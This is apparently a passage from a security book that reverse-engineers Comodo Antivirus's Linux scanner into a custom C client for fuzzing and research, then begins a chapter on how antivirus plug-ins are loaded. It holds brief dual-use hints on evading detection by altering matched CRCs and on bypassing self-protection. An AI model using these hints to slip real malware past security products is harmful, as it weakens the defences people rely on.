from the pseudo-code view to your C/C++ source fi le. In summary, the pseudo-

code does the following:

■ It resolves its path by reading the symbolic link created by the Linux kernel 

/proc/self/exe, and then makes that path the current working directory.

■ It dynamically loads the libFRAMEWORK.so and resolves the function 

CreateInstance and stores the pointer into the FnCreateInstance global 

variable.

■ The CreateInstance function simply loads the kernel, which seems to

reside inside libFRAMEWORK.so, and resolves the base function required 

to create a new instance of the framework.

Next, you need to reverse-engineer the maybe_IFramework_CreateInstance

function:

.text:0000000000401A50 maybe_IFrameWork_CreateInstance proc near

.text:0000000000401A50

.text:0000000000401A50 hInstance= qword ptr -40h

.text:0000000000401A50 var_38= qword ptr -38h

.text:0000000000401A50 maybe_flags= qword ptr -28h

.text:0000000000401A50

.text:0000000000401A50     push    rbp

.text:0000000000401A51     xor     esi, esi

.text:0000000000401A53     xor     edi, edi 

.text:0000000000401A55     mov     edx, 0F0000h

.text:0000000000401A5A     push    rbx

.text:0000000000401A5B     sub     rsp, 38h

.text:0000000000401A5F     mov     [rsp+48h+hInstance], 0

.text:0000000000401A68     lea     rcx, [rsp+48h+hInstance]

.text:0000000000401A6D     call   cs:FnCreateInstance

The function the program resolved before, FnCreateInstance, is being called 

now, passing a local variable called hInstance. Naturally, it is going to create an 

instance of the Comodo Antivirus interface. Right after it creates the instance, 

the following pseudo-code is executed:

  BYTE4(maybe_flags) = 0;
  LODWORD(maybe_flags) = -1;
  g_FrameworkInstance = hInstance;
  cur_dir = get_current_dir_name();
  hFramework = g_FrameworkInstance;
  cur_dir_len = strlen(cur_dir);
  if ( hFramework->baseclass_0->CFrameWork_Init(
  hFramework,
  cur_dir_len + 1, 
  cur_dir,
  maybe_flags, 0LL) < 0 )
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  {
    fwrite("IFrameWork Init failed!\n", 1uLL, 0x18uLL, stderr);
    exit(1);
  }
  free(cur_dir);

This code is initializing the framework by calling hFramework->baseclass_0

->CFrameWork_Init. It receives the hFramework instance that was just created,

the directory with all the other kernel fi les, the size of the given directory path 

buffer, and what appears to be the fl ags given to the CFrameWork_Init. The

current directory is the path of the actual cmdscan program, /opt/COMODO// /, as 

it changed the current working directory earlier. After this, more functions are 

called in order to correctly load the kernel:

  LODWORD(v8) = -1;
  BYTE4(v8) = 0;
  if ( g_FrameworkInstance->baseclass_0->CFrameWork_LoadScanners(
  g_FrameworkInstance,
  v8) < 0 )
  {
    fwrite("IFrameWork LoadScanners failed!\n", 1uLL, 0x20uLL, stderr);
    exit(1);
  }
  if ( g_FrameworkInstance->baseclass_0->CFrameWork_CreateEngine(
  g_FrameworkInstance, (IAEEngineDispatch **)&g_Engine) < 0 )
  {
    fwrite("IFrameWork CreateEngine failed!\n", 1uLL, 0x20uLL, stderr);
    exit(1);
  }
  if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent(
         g_Engine,
         (CAECLSID)0x20001,
         (IUnknown **)&g_base_component_0x20001) < 0 )
  {
    fwrite("IAEEngineDispatch GetBaseComponent failed!\n", 
  1uLL,
  0x2BuLL, stderr);
    exit(1);
  }

This loads the scanner routines by calling CFrameWork_LoadScanners, it creates 

a scanning engine by calling CFrameWork_CreateEngine, and it gets a base dis-

patcher component, whatever it means for them, by calling CAEEngineDispatch_

GetBaseComponent. Although the next part can be safely ignored, it is good to

understand the functionality anyway:

  v4 = operator new(0xB8uLL);
  v5 = (IAEUserCallBack *)v4;
  *(_QWORD *)v4 = &vtable_403310;
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  pthread_mutex_init((pthread_mutex_t *)(v4 + 144), 0LL);
  memset(&v5[12], 0, 0x7EuLL);
  g_user_callbacks = (__int64)v5;
  result = g_Engine->baseclass_0->CAEEngineDispatch_SetUserCallBack
(g_Engine, v5);
  if ( result < 0 )
  {
    fwrite("SetUserCallBack() failed!\n", 1uLL, 0x1AuLL, stderr);
    exit(1);
  }

This code is used to set a few callbacks. For example, you could install callbacks 

to be notifi ed every time a new fi le is opened, created, read, written, and so on. 

Do you want to write a generic unpacker using the Comodo engine? Install a 

notifi cation callback and wait for it to be called, copy the temporary fi le or buffer, 

and you are done! Generic unpackers based on antivirus engines are popular.

This is interesting, but the purpose of this demonstration is to reverse-engineer 

the core to get suffi cient information about how to write a C/C++ SDK to interact 

with the Comodo kernel. Now that the maybe_IFrameWork_CreateInstance

function has been analyzed, go back and look at the main function. The next

code after the call to the previously analyzed function will be similar to the 

following pseudo-code:

if ( __lxstat(1, filename, &v7) == -1 )
  {
    v5 = __errno_location();
    v6 = strerror(*v5);
    fprintf(stderr, "%s: %s\n", filename, v6);
  }
  else
  {
    if ( verbose )
      fwrite("-----== Scan Start ==-----\n", 1uLL, 0x1BuLL, stdout);
    if ( (v8 & 0xF000) == 0x4000 )

scan_directory(filename, verbose, (__int64)&scanned_files,
                    (__int64)&virus_found);
    else

scan_stream(filename, verbose, &scanned_files,
                  &virus_found);
    if ( verbose )
      fwrite("-----== Scan End ==-----\n", 1uLL, 0x19uLL, stdout);
    fprintf(stdout, "Number of Scanned Files: %d\n",
           (unsigned int)scanned_files);
    fprintf(stdout, "Number of Found Viruses: %d\n",
           (unsigned int)virus_found);
  }

This code checks whether the path pointed out by the global variable src

exists. If it does, the code calls either scan_directory ory scan_stream, depending

on the fl ags returned by the call to __lxstat. The function to scan directories 
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is likely calling scan_stream for each discovered element. You can now delve 

deeper into this function to see what it does:

int __fastcall scan_stream(
char *filename, 
char verbose,
_DWORD *scanned_files,
_DWORD *virus_found)
(…)
  SCANRESULT scan_result; // [sp+10h] [bp-118h]@1
  SCANOPTION scan_option; // [sp+90h] [bp-98h]@1
  ICAVStream *inited_to_zero; // [sp+E8h] [bp-40h]@1

  memset(&scan_option, 0, 0x49uLL);
  memset(&scan_result, 0, 0x7EuLL);
  scan_option.ScanCfgInfo = (x1)-1;
  scan_option.bScanPackers = 1;
  scan_option.bScanArchives = 1;
  scan_option.bUseHeur = 1;
  scan_option.eSHeurLevel = 2;
  base_component_0x20001 =
  *(struct_base_component_0x20001_t **)g_base_comp;
  scan_option.dwMaxFileSize = 0x2800000;
  scan_option.eOwnerFlag = 1;
  inited_to_zero = 0LL;
  result = base_component_0x20001->pfunc50(
             g_base_comp,
             (__int64 *)&inited_to_zero,
             (__int64)filename,
             1LL,
             3LL,
             0LL);

This code segment is really interesting. It starts by initializing a SCANRESULT

and a SCANOPTION object and specifying the required fl ags, such as whether 

archives should be scanned, the heuristic enabled, and so on. Then, the code 

calls a member function, pfunc50, passing a lot of arguments to it, such as the 

base component, the fi lename, and so on. You do not know what the function 

pfunc50 does, but do you really need it? Remember, the current task is not to 

fully understand how the Comodo kernel works but, rather, to interface with 

it. Continue with the following code:

  err = result;
  if ( result >= 0 )
  {
    memset((void *)(g_user_callbacks + 12), 0, 0x7EuLL);
    err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream(g_Engine,
                    inited_to_zero, &scan_option, &scan_result);
(…)
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This is the code that is actually scanning the fi le. It seems that the local vari-

able inited_to_zero that was passed to the call to pfunc50 has all the required

information to analyze the fi le. It is given to the function call CAEEngineDispatch_

ScanStream, as well as other arguments. The most interesting of these arguments 

are the SCANOPTION and SCANRESULT objects, which have an obvious purpose: to

specify the scanning options and get the results of the scan. CAEEngineDispatch_

ScanStream is also initializing some global callbacks to zero, but you can skip 

this part and all the other parts in this function that use the callbacks. The next 

interesting part is the following one:

    if ( err >= 0 )
    {
      ++*scanned_files;
      if ( verbose )
      {
        if ( scan_result.bFound )
        {
          fprintf(stdout, "%s ---> Found Virus, Malware Name is %s\n",
                  filename, scan_result.szMalwareName);
          result = fflush(stdout);
        }
        else
        {
          fprintf(stdout, "%s ---> Not Virus\n", filename);
          result = fflush(stdout);
        }
      }
    }

This code snippet checks whether the local variable err is not zero, incre-

ments the scanned_files variable, and prints out the discovered malware name 

if the bFound member of the SCANRESULT object evaluates to true. The last step

in this function is to simply increase the count of viruses found if a malware 

was detected:

  if ( scan_result.bFound )
  {
    if ( err >= 0 )
      ++*virus_found;
  }

It’s now time to go back to the main function. The last code after calling the 

scan_* functions is the following one:

  uninit_framework();
  dlclose_framework();
  close_dev_aflt_fd(&dev_aflt_fd);
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This is the code for cleaning up; it un-initializes the framework and cancels 

any possible remaining scan:

  g_base_component_0x20001 = 0LL;
  if ( g_Engine )
  {
    g_Engine->baseclass_0->CAEEngineDispatch_Cancel(g_Engine);
    result = g_Engine->baseclass_0->CAEEngineDispatch_UnInit(
  g_Engine, 0LL);
    g_Engine = 0LL;
  }
  if ( g_FrameworkInstance )
  {
    result = g_FrameworkInstance->baseclass_0->CFrameWork_UnInit(
  g_FrameworkInstance, 0LL);
    g_FrameworkInstance = 0LL;
  }

Finally, you close the used libFRAMEWORK.so library:

void __cdecl dlclose_framework()
{
  if ( hFrameworkSo )
    dlclose(hFrameworkSo);
}

You now have all the information required to write your own C/C++ to interface 

with Comodo Antivirus! Fortunately, this antivirus ships with all the neces-

sary structures, so you can export all the structure and enumeration  defi nitions 

to a header fi le. To do so, in IDA, select View→Open Subviews→Local Types, 

right-click the Local Types window, and select the Export to Header File option 

from the pop-up menu. Check the Generate Compilable Header File option, 

select the correct path to write the header fi le, and click Export. After you fi x 

compilation errors in it, this header fi le can be used in a common C/C++ project. 

The process of fi xing the header fi le in order to use it with a common compiler 

is a nightmare. However, in this case, you do not need to go through this pro-

cess. You can download the header fi le from https://github.com/joxeankoret

/tahh/tree/master/comodo.

Once you download this header fi le, you can get started. First, you create 

a command-line tool similar to Comodo cmdscan, but one that exports more

interesting internal information. You start by adding the following required 

include fi les:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
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#include <pthread.h>
#include <dlfcn.h>
#include <libgen.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include "comodo.h"

These are the header fi les that you will need. You can now copy most of the 

pseudo-code created by the Hex-Rays decompiler into your project. However, 

you should do it step-by-step instead of copying the entire decompiled fi le. 

Start by adding the required calls to initialize, scan, and clean up the core in 

the function main:

int main(int argc, char **argv)
{
  int scanned_files = 0;
  int virus_found = 0;

  if ( argc == 1 )
    return 1;

  load_framework();
maybe_IFrameWork_CreateInstance();

scan_stream(argv[1], verbose, &scanned_files, &virus_found);
  printf("Final number of Scanned Files: %d\n", scanned_files);
  printf("Final number of Found Viruses: %d\n", virus_found);

uninit_framework();
dlclose_framework();

  return 0;
}

In this code, the fi rst command-line argument represents the fi le to scan. You 

start by loading the framework and creating an instance. You then call scan_

stream, which shows a summary of the scanned fi les and then un-initializes 

the framework and unloads the library that was used. You need to implement 

many functions here: load_framework, maybe_IFrameWork_CreateInstance, 

scan_stream, uninit_framework, and dlclose_framework. You can simply copy 

these functions from the Hex-Rays decompiler: go through each function and 

copy the pseudo-code. It will look like this:

//----------------------------------------------------------------------
void uninit_framework()
{
  g_base_component_0x20001 = 0;
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  if ( g_Engine )
  {
    g_Engine->baseclass_0->CAEEngineDispatch_Cancel(g_Engine);
    g_Engine->baseclass_0->CAEEngineDispatch_UnInit(g_Engine, 0);
    g_Engine = 0;
  }
  if ( g_FrameworkInstance )
  {
    g_FrameworkInstance->baseclass_0->CFrameWork_UnInit(
  g_FrameworkInstance, 0);
    g_FrameworkInstance = 0;
  }
}

//----------------------------------------------------------------------
int scan_stream(char *src, char verbosed, 
   int *scanned_files,
   int *virus_found)
{
  struct_base_component_0x20001_t *base_component_0x20001;
  int result;
  HRESULT err;
  SCANRESULT scan_result;
  SCANOPTION scan_option;
  ICAVStream *inited_to_zero;

  memset(&scan_option, 0, sizeof(SCANOPTION));
  memset(&scan_result, 0, sizeof(SCANRESULT));
  scan_option.ScanCfgInfo = -1;
  scan_option.bScanPackers = 1;
  scan_option.bScanArchives = 1;
  scan_option.bUseHeur = 1;
  scan_option.eSHeurLevel = enum_SHEURLEVEL_HIGH;
  base_component_0x20001 = *
     (struct_base_component_0x20001_t **)g_base_component_0x20001;
  scan_option.dwMaxFileSize = 0x2800000;
  scan_option.eOwnerFlag = enum_OWNER_ONDEMAND;
  scan_option.bDunpackRealTime = 1;
  scan_option.bNotReportPackName = 0;

  inited_to_zero = 0;
  result = base_component_0x20001->pfunc50(
             g_base_component_0x20001,
             (__int64 *)&inited_to_zero,
             (__int64)src,
             1LL,
             3LL,
             0);
  err = result;
  if ( result >= 0 )
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  {
    err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream
(g_Engine, inited_to_zero, &scan_option, &scan_result);
    if ( err >= 0 )
    {
      (*scanned_files)++;
      if ( scanned_files )
      {
        //printf("Got scan result? %d\n", scan_result.bFound);
        if ( scan_result.bFound )
        {
          printf("%s ---> Found Virus, Malware Name is %s\n", src,
 scan_result.szMalwareName);
          result = fflush(stdout);
        }
        else
        {
          printf("%s ---> Not Virus\n", src);
          result = fflush(stdout);
        }
      }
    }
  }
  if ( scan_result.bFound )
  {
    if ( err >= 0 )
      (*virus_found)++;
  }
  return result;
}

//----------------------------------------------------------------------
int maybe_IFrameWork_CreateInstance()
{
  char *cur_dir;
  CFrameWork *hFramework;
  int cur_dir_len;
  CFrameWork *hInstance;
  int *v8;
  int *maybe_flags;

  hInstance = 0;
  if ( FnCreateInstance(0, 0, 0xF0000, &hInstance) < 0 )
  {
    fwrite("CreateInstance failed!\n", 1uLL, 0x17uLL, stderr);
    exit(1);
  }

  BYTE4(maybe_flags) = 0;
  LODWORD(maybe_flags) = -1;
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  g_FrameworkInstance = hInstance;
  cur_dir = get_current_dir_name();
  hFramework = g_FrameworkInstance;
  cur_dir_len = strlen(cur_dir);
  if ( hFramework->baseclass_0->CFrameWork_Init
(hFramework, cur_dir_len + 1, cur_dir, maybe_flags, 0) < 0 )
  {
    fwrite("IFrameWork Init failed!\n", 1uLL, 0x18uLL, stderr);
    exit(1);
  }
  free(cur_dir);
  LODWORD(v8) = -1;
  BYTE4(v8) = 0;
  if ( g_FrameworkInstance->baseclass_0-
>CFrameWork_LoadScanners(g_FrameworkInstance, v8) < 0 )
  {
    fwrite("IFrameWork LoadScanners failed!\n", 1uLL, 0x20uLL, stderr);
    exit(1);
  }
  if ( g_FrameworkInstance->baseclass_0-
>CFrameWork_CreateEngine(g_FrameworkInstance, (IAEEngineDispatch **)
&g_Engine) < 0 )
  {
    fwrite("IFrameWork CreateEngine failed!\n", 1uLL, 0x20uLL, stderr);
    exit(1);
  }
  if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent(
         g_Engine,
         (CAECLSID)0x20001,
         (IUnknown **)&g_base_component_0x20001) < 0 )
  {
    fwrite("IAEEngineDispatch GetBaseComponent failed!\n", 
1uLL, 0x2BuLL, stderr);
    exit(1);
  }
  return 0;
}

//----------------------------------------------------------------------
void dlclose_framework()
{
  if ( hFrameworkSo )
    dlclose(hFrameworkSo);
}

//----------------------------------------------------------------------
void load_framework()
{
  int filename_size;
  char *self_dir;
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  int *v2;
  char *v3;
  void *hFramework;
  char *v6;
  char filename[2056];

  filename_size = readlink("/proc/self/exe", filename, 0x800uLL);
  if ( filename_size == -1 || (filename[filename_size] = 0, self_dir = 
dirname(filename), chdir(self_dir)) )
  {
    v2 = __errno_location();
    v3 = strerror(*v2);
    fprintf(stderr, "Directory error: %s\n", v3);
    exit(1);
  }

  hFramework = dlopen("./libFRAMEWORK.so", 1);
  hFrameworkSo = hFramework;
  if ( !hFramework )
  {
    v6 = dlerror();
    fprintf(stderr, "Error loading libFRAMEWORK: %s\n", v6);
    exit(1);
  }

  FnCreateInstance = (FnCreateInstance_t)dlsym(hFramework, 
"CreateInstance");
  if ( !FnCreateInstance )
  {
    v3 = dlerror();
    fprintf(stderr, "%s\n", v3);
    exit(1);
  }
}

You only need to add the forward declarations of the functions right after 

the last include directive, as well as the global variables:

//----------------------------------------------------------------------
// Function declarations
int main(int argc, char **argv, char **envp);
void uninit_framework();
int scan_stream(char *src, char verbosed, 
                int *scanned_files,
                int *virus_found);
int maybe_IFrameWork_CreateInstance();
void dlclose_framework();
void load_framework();
void scan_directory(char *src, 
                    unsigned __int8 a2,
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                    __int64 a3, __int64 a4);

//----------------------------------------------------------------------
// Data declarations
char *optarg;
char *src;
char verbose;
__int64 g_base_component_0x20001;
__int64 g_user_callbacks;
CAEEngineDispatch *g_Engine;
CFrameWork *g_FrameworkInstance;

typedef int (__fastcall *FnCreateInstance_t)(_QWORD, _QWORD, _QWORD,
CFrameWork **);
int (__fastcall *FnCreateInstance)(
_QWORD, _QWORD, _QWORD, CFrameWork **);
void *hFrameworkSo;
vtable_403310_t *vtable_403310;

You are now done with the very basic version of the Comodo command-line 

scanner. You can compile it with the following command in a Linux machine:

$ g++ cmdscan.c -o mycmdscan -fpermissive \
                -Wno-unused-local-typedefs -ldl

In order to test it, you need to copy it to the /opt/COMODO directory, using the

following command:

$ sudo cp mycmdscan /opt/COMODO

You can now test this program to see whether it is working like the original 

cmdscan from Comodo:

$ /opt/COMODO/mycmdscan /home/joxean/malware/eicar.com.txt 
/home/joxean/malware/eicar.com.txt ---> Found Virus , \
                                        Malware Name is Malware
Number of Scanned Files: 1
Number of Found Viruses: 1

It works! Now, it is time to print more information regarding the detected 

or undetected fi le. If you look at the SCANRESULT structure, you will fi nd some

interesting members:

struct SCANRESULT
{
  char bFound;
  int unSignID;
  char szMalwareName[64];
  int eFileType;
  int eOwnerFlag;
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 int unCureID;
 int unScannerID;
 int eHandledStatus;
 int dwPid;
 __int64 ullTotalSize;
 __int64 ullScanedSize;
 int ucrc1;
 int ucrc2;
 char bInWhiteList;
 int nReserved[2];
};

You can, for example, get the signature identifi er that matched your malware, 

the scanner identifi er, and the CRCs (checksums) that were used to detect your 

fi le, as well as whether the fi le is white-listed. In the scan_stream routine, you 

replace the line printing the discovered malware name with the following lines:

         printf("%s ---> Malware: %s\n", 
                   src,
                   scan_result.szMalwareName);
         if ( scan_result.unSignID )
           printf("Signature ID: 0x%x\n", scan_result.unSignID);
         if ( scan_result.unScannerID )
           printf("Scanner     : %d (%s)\n", 
                scan_result.unScannerID,
                get_scanner_name(scan_result.unScannerID));
         if ( scan_result.ullTotalSize ) 
           printf("Total size  : %lld\n", scan_result.ullTotalSize);
         if ( scan_result.ullScanedSize )
           printf("Scanned size: %lld\n", scan_result.ullScanedSize);
         if ( scan_result.ucrc1 || scan_result.ucrc2 )
           printf("CRCs        : 0x%x 0x%x\n", 
                 scan_result.ucrc1,
                 scan_result.ucrc2);
         result = fflush(stdout);

Now, replace the line where the Not virus line is printed with the  following

lines:

           printf("%s ---> Not Virus\n", src);
           if ( scan_result.bInWhiteList )
             printf("INFO: The file is white-listed.\n");
           result = fflush(stdout);

The last step is to add the following function before the scan_stream routinem

to resolve scanner identifi ers to scanner names:

//----------------------------------------------------------------------
const char *get_scanner_name(int id)
{
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  switch ( id )
  {
    case 15:
      return "UNARCHIVE";
    case 28:
      return "SCANNER_PE64";
    case 27:
      return "SCANNER_MBR";
    case 12:
      return "ENGINEDISPATCH";
    case 7:
      return "UNPACK_STATIC";
    case 22:
      return "SCANNER_EXTRA";
    case 29:
      return "SCANNER_SMART";
    case 16:
      return "CAVSEVM32";
    case 6:
      return "SCANNER_SCRIPT";
    case 9:
      return "SIGNMGR";
    case 21:
      return "UNPACK_DUNPACK";
    case 13:
      return "SCANNER_WHITE";
    case 24:
      return "SCANNER_RULES";
    case 8:
      return "UNPACK_GUNPACK";
    case 10:
      return "FRAMEWORK";
    case 3:
      return "SCANNER_PE32";
    case 5:
      return "MEMORY_ENGINE";
    case 23:
      return "UNPATCH";
    case 2:
      return "SCANNER_DOSMZ";
    case 4:
      return "SCANNER_PENEW";
    case 0:
      return "Default";
    case 17:
      return "CAVSEVM64";
    case 20:
      return "UNSFX";
    case 19:
      return "SCANNER_MEM";
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    case 14:
      return "MTENGINE";
    case 1:
      return "SCANNER_FIRST";
    case 18:
      return "SCANNER_HEUR";
    case 26:
      return "SCANNER_ADVHEUR";
    case 11:
      return "MEMTARGET";
    case 25:
      return "FILEID";
    default:
      return "Unknown";
  }
}

This information was extracted from the following interesting enumeration 

that was already available in the IDA database (remember that you have full 

symbols):

enum MemMgrType
{
  enumMemMgr_Default = 0x0,
  enumMemMgr_SCANNER_FIRST = 0x1,
  enumMemMgr_SCANNER_DOSMZ = 0x2,
  enumMemMgr_SCANNER_PE32 = 0x3,
  enumMemMgr_SCANNER_PENEW = 0x4,
  enumMemMgr_MEMORY_ENGINE = 0x5,
  enumMemMgr_SCANNER_SCRIPT = 0x6,
  enumMemMgr_UNPACK_STATIC = 0x7,
  enumMemMgr_UNPACK_GUNPACK = 0x8,
  enumMemMgr_SIGNMGR = 0x9,
  enumMemMgr_FRAMEWORK = 0xA,
  enumMemMgr_MEMTARGET = 0xB,
  enumMemMgr_ENGINEDISPATCH = 0xC,
  enumMemMgr_SCANNER_WHITE = 0xD,
  enumMemMgr_MTENGINE = 0xE,
  enumMemMgr_UNARCHIVE = 0xF,
  enumMemMgr_CAVSEVM32 = 0x10,
  enumMemMgr_CAVSEVM64 = 0x11,
  enumMemMgr_SCANNER_HEUR = 0x12,
  enumMemMgr_SCANNER_MEM = 0x13,
  enumMemMgr_UNSFX = 0x14,
  enumMemMgr_UNPACK_DUNPACK = 0x15,
  enumMemMgr_SCANNER_EXTRA = 0x16,
  enumMemMgr_UNPATCH = 0x17,
  enumMemMgr_SCANNER_RULES = 0x18,
  enumMemMgr_FILEID = 0x19,
  enumMemMgr_SCANNER_ADVHEUR = 0x1A,
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  enumMemMgr_SCANNER_MBR = 0x1B,
  enumMemMgr_SCANNER_PE64 = 0x1C,
  enumMemMgr_SCANNER_SMART = 0x1D,
};

To fi nish, compile the fi le with the previously used g++ command, copy it to

/opt/COMODO, and re-run the application; this time, you get more information:

$ g++ cmdscan.c -o mycmdscan -fpermissive \
                -Wno-unused-local-typedefs -ldl

$ sudo cp mycmdscan /opt/COMODO

$ /opt/COMODO/mycmdscan /home/joxean/malware/eicar.com.txt 
/home/joxean/malware/eicar.com.txt ---> Found Virus,
                                        Malware Name is Malware
Scanner     : 12 (ENGINEDISPATCH)
CRCs        : 0x486d0e3 0xa03f08f7
Number of Scanned Files: 1
Number of Found Viruses: 1

According to this information, you now know that the fi le is detected by the 

engine called ENGINEDISPATCH and that it is using CRCs to detect the fi le. You 

are using the EICAR testing fi le, but if you were working on a different fi le, you 

could evade detection, for example, by changing the CRC. You can continue 

adding more features to this tool: you can add support for recursively checking 

directories and working in quiet mode by printing only relevant information, 

such as white-listed (not infected) fi les and detected fi les. You can also use it as 

the basis of a library to integrate it into your own tools for research purposes.

The fi nal version of this tool, with more features than the original Comodo 

command-line scanner, is available at https://github.com/joxeankoret/tahh

/tree/master/comodo.

Other Components Loaded by the Kernel 

The kernel is usually responsible for opening fi les, iterating over all the fi les 

inside a compressed fi le or buffer, and launching signature scans or generic 

detections and disinfections against known malware. Nevertheless, some tasks 

are specifi cally performed not by the kernel but by other sub-components, such 

as plug-ins, generic detection modules, heuristics, and so on. These modules, 

typically plug-ins, are loaded by the kernel and often perform the most inter-

esting tasks. For example, the Microsoft Security Essentials antivirus kernel 

(mpengine.dll(( ) launches generic detection and disinfection routines written in

C++.NET, and the Lua scripting language then extracts them from the database 

fi les distributed with the product and the daily updates. Bitdefender does the 
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same with binary plug-ins (XMD fi les) that contain code and are loaded dynami-

cally. Kaspersky loads its plug-ins and disinfection routines by re-linking new 

object fi les distributed as updates to the kernel. In short, every antivirus does 

it in a completely different way.

Statically or dynamically reverse-engineering the part of the kernel that is 

responsible for interfacing with plug-ins is key to actually reverse-engineering

the signatures, generic detections, and so on. Without being able to analyze how 

these plug-ins are decrypted, decompressed, loaded, and launched, you cannot 

fully understand how the antivirus works. 

Summary  

This chapter covered a lot of prerequisite material that will be helpful through-

out the rest of this book. Its main focus was to illustrate how to reverse-engineer 

the antivirus core and other relevant components in order to write an antivirus 

client library for automation and fuzzing purposes, in case a command-line 

scanner was not provided.

Many other important topics were also covered:

■ Leveraging the debug symbols when available to ease the reverse-

engineering process—Because most AV products use the same code base,

it is possible to reverse-engineer the components on the platform where

symbols are present and then port the symbols to another platform where 

they are not present. Tools such as zynamics BinDiff and Joxean Koret’s

Diaphora were mentioned.

■ The Linux operating system is the operating system of choice when 

it comes to fuzzing and automation—The Wine emulator and its sister 

project Winelib can be used to run or port Windows command scanners

under Linux.

■ Bypassing antivirus self-protection—Usually the Linux version of AVs

do not self-protect, unlike their Windows counterpart. A few tricks about 

how to bypass antivirus self-protection that keep you from being able to

debug the antivirus were shown.

■ Setting up the work environment—You saw how to set up virtual machines—

in order to debug antivirus drivers and services. In addition, WinDbg

kernel debugging was covered, along with various commands showing 

how to do kernel and user-mode debugging from kernel mode WinDbg.

Finally, this chapter concluded with a lengthy and systematic hands-on walk-

through on how to write a client library for the Comodo Antivirus. 

The next chapter discusses how plug-ins are loaded and how you can extract 

and understand this functionalit y.
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Antivirus plug-ins are small parts of the core antivirus software that offer 

 support for some specifi c task. They are not typically a core part of the antivirus 

kernel. The core of the antivirus product loads through various methods and 

uses them at runtime.

Plug-ins are not a vital part of the core libraries and are intended to enhance 

the features supported by the antivirus core. They can be considered add-

ons. Some example plug-ins include a PDF parser, an unpacker for a specifi c 

EXE packer (such as UPX), an emulator for Intel x86, a sandbox on top of the 

emulator, or a heuristic engine using statistics gathered by other plug-ins. 

These plug-ins are usually loaded at runtime using manually created load-

ing systems that typically involve decryption, decompression, relocation, 

and loading.

This chapter covers some loading implementations of typical antivirus plug-

ins and analyzes the loading process. Heuristic-based detection algorithms, 

emulators, and script-based plug-ins will also be covered. After you complete 

this chapter, you should be able to:

■ Understand how plug-in loaders work

■ Analyze a plug-in’s code and know where to look for vulnerabilities

■ Research and implement evasion techniques

C H A P T E R 

3

The Plug-ins Systemns System
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Understanding How Plug-ins Are Loaded

Each antivirus company designs and implements a completely different way 

to load its plug-ins. The most common way is to allocate Read/Write/eXecute 

(RWX) memory pages, decrypt and decompress the plug-in fi le contents to 

the allocated memory, relocate the code if appropriate (like Bitdefender does), 

and fi nally remove the write (W) privilege from the page or pages. Those new 

memory pages, which now constitute a plug-in module, are added to the loaded 

plug-ins list.

Other AV companies ship the plug-ins as Dynamic Link Libraries (DLLs), 

making the loading process much simpler by relying on the operating system’s 

library loading mechanism (for example, using the LoadLibrary API in Microsoft 

Windows). In that case, to protect the plug-in’s code and logic, the DLLs often 

implement code and data obfuscation. For example, the Avira antivirus product 

encrypts all the strings in its plug-in DLLs and decrypts them in memory when 

the plug-in is loaded (with a simple XOR algorithm and a fi xed key stored in 

the actual plug-in code).

In another example, Kaspersky Anti-Virus uses a different approach to load-

ing plug-ins: the plug-in updates are distributed as object fi les in the COFF fi le 

format and are then linked to the antivirus core. 

The following sections discuss the various plug-in loading approaches and 

their advantages and disadvantages.

A Full-Featured Linker in Antivirus Software

Instead of dynamically loading libraries or creating RWX pages and patching 

them with the contents of the plug-ins, Kaspersky distributes their updates in the 

Common Object File Format (COFF). After being decrypted and decompressed, 

these fi les are linked together, and the newly generated binary forms the new 

core, with all of the plug-ins statically linked. From an antivirus design point of 

view, this method offers low memory usage and faster start-up. On the other hand, 

it requires Kaspersky developers to write and maintain a full-featured linker.

N O T E  The Common Object File Format is used to store compiled code and data.

COFF fi les are then used in the fi nal compilation stage—the linking stage—to produce 

an executable module.

The update fi les are distributed in the form of many little fi les with an *.avc

extension, for example, base001.avc. These fi les start with a header like this:

0000   41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61    AVP Antiviral Da
0010   74 61 62 61 73 65 2E 20 28 63 29 4B 61 73 70 65    tabase. (c)Kaspe
0020   72 73 6B 79 20 4C 61 62 20 31 39 39 37 2D 32 30    rsky Lab 1997-20
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0030   31 33 2E 00 00 00 00 00 00 00 00 00 00 00 0D 0A    13..............
0040   4B 61 73 70 65 72 73 6B 79 20 4C 61 62 2E 20 31    Kaspersky Lab. 1
0050   36 20 53 65 70 20 32 30 31 33 20 20 31 30 3A 30    6 Sep 2013  10:0
0060   32 3A 31 38 00 00 00 00 00 00 00 00 00 00 00 00    2:18............
0070   00 00 00 00 00 00 00 00 00 00 00 00 0D 0A 0D 0A    ................
0080   45 4B 2E 38 03 00 00 00 01 00 00 00 E9 66 02 00    EK.8.........f..

In this example, there is an ASCII header with the banner, “AVP Antiviral“

Database. (c)Kaspersky Lab 1997-2013”; a padding with the 0x00 charac-

ters; the date of distribution (“Kaspersky Lab. 16 Sep 2013  10:02:18”); and 

more padding with the 0x00 characters. Starting at offset 0x80, the header ends,

and actual binary data follows. This binary data is encrypted with a simple 

XOR-ADD algorithm. After it is decrypted, the data is decompressed with a 

custom algorithm. After decompression, you have a set of COFF fi les that are 

linked together (using routines in the AvpBase.DLL library) so the target operat-

ing system can use them.

This approach to loading plug-ins appears to be exclusive to the Kaspersky 

antivirus kernel. This plug-in loading process is discussed later in this chapter.

Understanding Dynamic Loading

Dynamic loading is the most typical way of loading antivirus plug-ins. The 

plug-in fi les are either inside a container fi le (such as the PAV.SIG fi le for Panda

Antivirus, the *.VPS fi les for Avast, or the Microsoft antivirus *.VDB fi les) or 

spread in many small fi les (as in the case of Bitdefender). These fi les are usu-

ally encrypted (although each vendor uses a different type of encryption) and 

compressed, commonly with zlib. The plug-in fi les are fi rst decrypted, when 

appropriate (for example, Microsoft does not use encryption for its antivirus 

database fi les; they are just compressed), and then loaded in memory. To load 

them in memory, the antivirus core typically creates RWX pages on the heap, 

copies the content of each decrypted and decompressed fi le to the newly cre-

ated memory page, adjusts the privileges of the page, and, if required, relocates 

the code in memory.

Reverse-engineering an antivirus product that uses this approach is more 

diffi cult than reverse-engineering products that use the static object linking 

approach (as Kaspersky does), because all the segments are created in different 

memory addresses each time the core is loaded because of ASLR. This makes 

reverse-engineering diffi cult because all the comments, assigned function names, 

and so on in IDA are not relocated to the new page where the plug-in’s code is 

